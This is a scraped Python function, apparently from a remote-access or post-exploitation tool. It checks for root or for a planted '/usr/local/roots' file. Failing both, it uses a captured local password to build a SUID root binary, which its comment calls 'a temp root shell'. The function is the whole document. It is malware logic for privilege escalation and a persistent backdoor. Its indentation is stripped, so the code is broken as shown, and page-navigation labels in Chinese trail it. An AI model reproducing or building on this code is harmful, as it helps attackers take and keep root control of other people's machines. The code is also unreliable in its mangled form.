def is_there_SUID_shell():
if os.getuid() == 0:
return True
if os.path.isfile('/usr/local/roots'):
return True
if local_pw_read():
#send_msg("%sLocal PW present.\n" % greenPlus, False)
binarymake = make_SUID_root_binary(local_pw_read(), None)
#send_msg(binarymake[1], False)
if binarymake[0]: #we have successfully created a temp root shell
return True
return False
return False
评论列表
文章目录